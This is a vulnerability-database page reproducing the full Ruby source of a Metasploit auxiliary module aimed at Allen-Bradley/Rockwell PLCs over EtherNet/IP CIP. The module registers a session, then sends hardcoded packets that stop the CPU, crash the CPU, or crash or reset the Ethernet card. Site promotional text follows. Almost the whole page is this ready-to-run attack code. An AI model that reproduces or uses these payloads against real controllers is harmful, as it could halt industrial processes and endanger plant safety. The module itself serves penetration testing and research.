Lucene search
K

Allen-Bradley/Rockwell Automation EtherNet/IP CIP Commands

Allen-Bradley/Rockwell Automation EtherNet/IP CIP Commands. Allows unauthenticated commands to PLC implementing the EtherNet/IP CIP protocol. Implements CPU STOP command and crashing Ethernet card in affected device

Code
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
  include Msf::Exploit::Remote::Tcp
  include Rex::Socket::Tcp

  def initialize(info={})
    super(update_info(info,
      'Name'           => 'Allen-Bradley/Rockwell Automation EtherNet/IP CIP Commands',
      'Description'    => %q{
        The EtherNet/IP CIP protocol allows a number of unauthenticated commands to a PLC which
        implements the protocol.  This module implements the CPU STOP command, as well as
        the ability to crash the Ethernet card in an affected device.

        This module is based on the original 'ethernetip-multi.rb' Basecamp module
        from DigitalBond.
      },
      'Author'         =>
        [
          'Ruben Santamarta <ruben[at]reversemode.com>',
          'K. Reid Wightman <wightman[at]digitalbond.com>', # original module
          'todb' # Metasploit fixups
        ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          [ 'URL', 'http://www.digitalbond.com/tools/basecamp/metasploit-modules/' ]
        ],
      'DisclosureDate' => '2012-01-19'))

    register_options(
      [
        Opt::RPORT(44818),
        # Note that OptEnum is case sensitive
        OptEnum.new("ATTACK", [true, "The attack to use.", "STOPCPU",
          [
            "STOPCPU",
            "CRASHCPU",
            "CRASHETHER",
            "RESETETHER"
          ]
        ])
      ], self.class
    )
  end

  def run
    attack = datastore["ATTACK"]
    print_status "#{rhost}:#{rport} - CIP - Running #{attack} attack."
    sid = req_session
    if sid
      forge_packet(sid, payload(attack))
      print_status "#{rhost}:#{rport} - CIP - #{attack} attack complete."
    end
  end

  def forge_packet(sessionid, payload)
    packet = ""
    packet += "\x6f\x00" # command: Send request/reply data
    packet += [payload.size - 0x10].pack("v") # encap length (2 bytes)
    packet += [sessionid].pack("N") # session identifier (4 bytes)
    packet += payload #payload part
    begin
      sock.put(packet)
    rescue ::Interrupt
      print_error("#{rhost}:#{rport} - CIP - Interrupt during payload")
      raise $!
    rescue ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionRefused
      print_error("#{rhost}:#{rport} - CIP - Network error during payload")
      return nil
    end
  end

  def req_session
    begin
      connect
      packet = ""
      packet += "\x65\x00" # ENCAP_CMD_REGISTERSESSION (2 bytes)
      packet += "\x04\x00" # encaph_length (2 bytes)
      packet += "\x00\x00\x00\x00" # session identifier (4 bytes)
      packet += "\x00\x00\x00\x00" # status code (4 bytes)
      packet += "\x00\x00\x00\x00\x00\x00\x00\x00" # context information (8 bytes)
      packet += "\x00\x00\x00\x00" # options flags (4 bytes)
      packet += "\x01\x00" # proto (2 bytes)
      packet += "\x00\x00" # flags (2 bytes)
      sock.put(packet)
      response = sock.get_once
      if response
        session_id = response[4..8].unpack("N")[0] rescue nil# bare minimum of parsing done
        if session_id
          print_status("#{rhost}:#{rport} - CIP - Got session id: 0x"+session_id.to_s(16))
        else
          print_error("#{rhost}:#{rport} - CIP - Got invalid session id, aborting.")
          return nil
        end
      else
        raise ::Rex::ConnectionTimeout
      end
    rescue ::Interrupt
      print_error("#{rhost}:#{rport} - CIP - Interrupt during session negotiation")
      raise $!
    rescue ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionRefused => e
      print_error("#{rhost}:#{rport} - CIP - Network error during session negotiation: #{e}")
      return nil
    end
    return session_id
  end

  def cleanup
    disconnect rescue nil
  end

  def payload(attack)
    case attack
    when "STOPCPU"
      payload =  "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + #encapsulation -[payload.size-0x10]-
      "\x00\x00\x00\x00\x02\x00\x02\x00\x00\x00\x00\x00\xb2\x00\x1a\x00" + #packet1
      "\x52\x02\x20\x06\x24\x01\x03\xf0\x0c\x00\x07\x02\x20\x64\x24\x01" + #packet2
      "\xDE\xAD\xBE\xEF\xCA\xFE\x01\x00\x01\x00"                           #packet3
    when "CRASHCPU"
      payload = "\x00\x00\x00\x00\x02\x00\x02\x00\x00\x00\x00\x00\xb2\x00\x1a\x00" +
      "\x52\x02\x20\x06\x24\x01\x03\xf0\x0c\x00\x0a\x02\x20\x02\x24\x01" +
      "\xf4\xf0\x09\x09\x88\x04\x01\x00\x01\x00"
    when "CRASHETHER"
      payload = "\x00\x00\x00\x00\x20\x00\x02\x00\x00\x00\x00\x00\xb2\x00\x0c\x00" +
      "\x0e\x03\x20\xf5\x24\x01\x10\x43\x24\x01\x10\x43"
    when "RESETETHER"
      payload = "\x00\x00\x00\x00\x00\x04\x02\x00\x00\x00\x00\x00\xb2\x00\x08\x00" +
      "\x05\x03\x20\x01\x24\x01\x30\x03"
    else
      print_error("#{rhost}:#{rport} - CIP - Invalid attack option.")
      return nil
    end
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation